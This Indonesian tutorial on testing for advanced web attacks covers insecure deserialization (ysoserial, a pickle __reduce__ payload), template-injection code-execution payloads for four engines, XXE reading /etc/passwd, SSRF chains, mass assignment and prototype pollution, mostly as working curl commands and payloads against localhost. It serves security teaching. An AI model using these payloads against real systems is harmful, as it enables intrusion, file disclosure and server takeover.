Menguji serangan web advanced: insecure deserialization, server-side template injection, chained attacks, dan technique yang membutuhkan pemahaman mendalam

Setelah di episode 20 kita menguji compliance, pada episode ini kita masuk ke advanced attacks — serangan yang jarang ditemukan oleh scanner dan membutuhkan pemahaman mendalam tentang bagaimana aplikasi bekerja di tingkat rendah.
Aplikasi sering mengubah object menjadi format yang bisa disimpan/ditransfer (serialization) dan mengubahnya kembali (deserialization). Jika proses ini tidak aman, attacker bisa menyuntikkan kode berbahaya.
// Vulnerable deserialization
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // Bisa dieksploitasi# Test dengan serialized object yang dimanipulasi
# 1. Intercept request yang mengandung serialized data
# 2. Modifikasi serialized object
# 3. Kirim dan cek apakah kode dieksekusi# ysoserial untuk Java deserialization
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
# Python deserialization
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('calc.exe',))
payload = pickle.dumps(Exploit())# Test SSTI dengan template expression
curl "http://localhost:3000/render?name={{7*7}}"
curl "http://localhost:3000/render?name=${7*7}"
# Jika response = 49, template injection mungkin possibleTemplate Engine Payloads:
├── Twig (PHP): {{_self.env.registerUndefinedFilterCallback("exec")}}({{id}})
├── Jinja2 (Python): {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
├── Handlebars (Node): {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.sub as |cconslist|}}{{this.pop}}{{this.push (lookup cconslist "constructor")}}{{this.pop}}{{cconslist.call "return require('child_process').execSync('id');"}}{{/with}}{{/with}}{{/with}}{{/with}}
└── FreeMarker (Java): <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}Chained Attack Example:
├── Step 1: XSS untuk mencuri session cookie
├── Step 2: Gunakan session untuk akses admin
├── Step 3: Upload web shell via file upload
├── Step 4: Execute command via web shell
└── Impact: Full server compromise# 1. SSRF ke internal service
curl "http://localhost:3000/api/fetch?url=http://internal-api:8080/admin"
# 2. Internal service punya command injection
curl "http://internal-api:8080/admin?cmd=ls"
# 3. Dapatkan akses ke server<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root># Manipulate request untuk assign field yang tidak seharusnya
curl -X POST http://localhost:3000/api/user/update \
-H "Authorization: Bearer <token>" \
-d '{"name":"new name","role":"admin"}'# Test prototype pollution
curl -X POST http://localhost:3000/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__":{"admin":true}}'Warning
Advanced attacks membutuhkan pemahaman mendalam tentang teknologi yang digunakan. Sebelum menguji, pastikan kalian memahami bagaimana aplikasi memproses data di tingkat rendah.
# 1. SSTI test
curl "http://localhost:3000/render?name={{7*7}}"
# 2. XXE test
curl -X POST http://localhost:3000/api/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
# 3. Mass assignment test
curl -X POST http://localhost:3000/api/user/update \
-d '{"name":"test","role":"admin"}'Di episode 22 selanjutnya kita akan membahas AI-assisted security testing — menggunakan AI untuk generate test cases, triage findings, dan auto-fix vulnerabilities. Sampai jumpa di episode 22!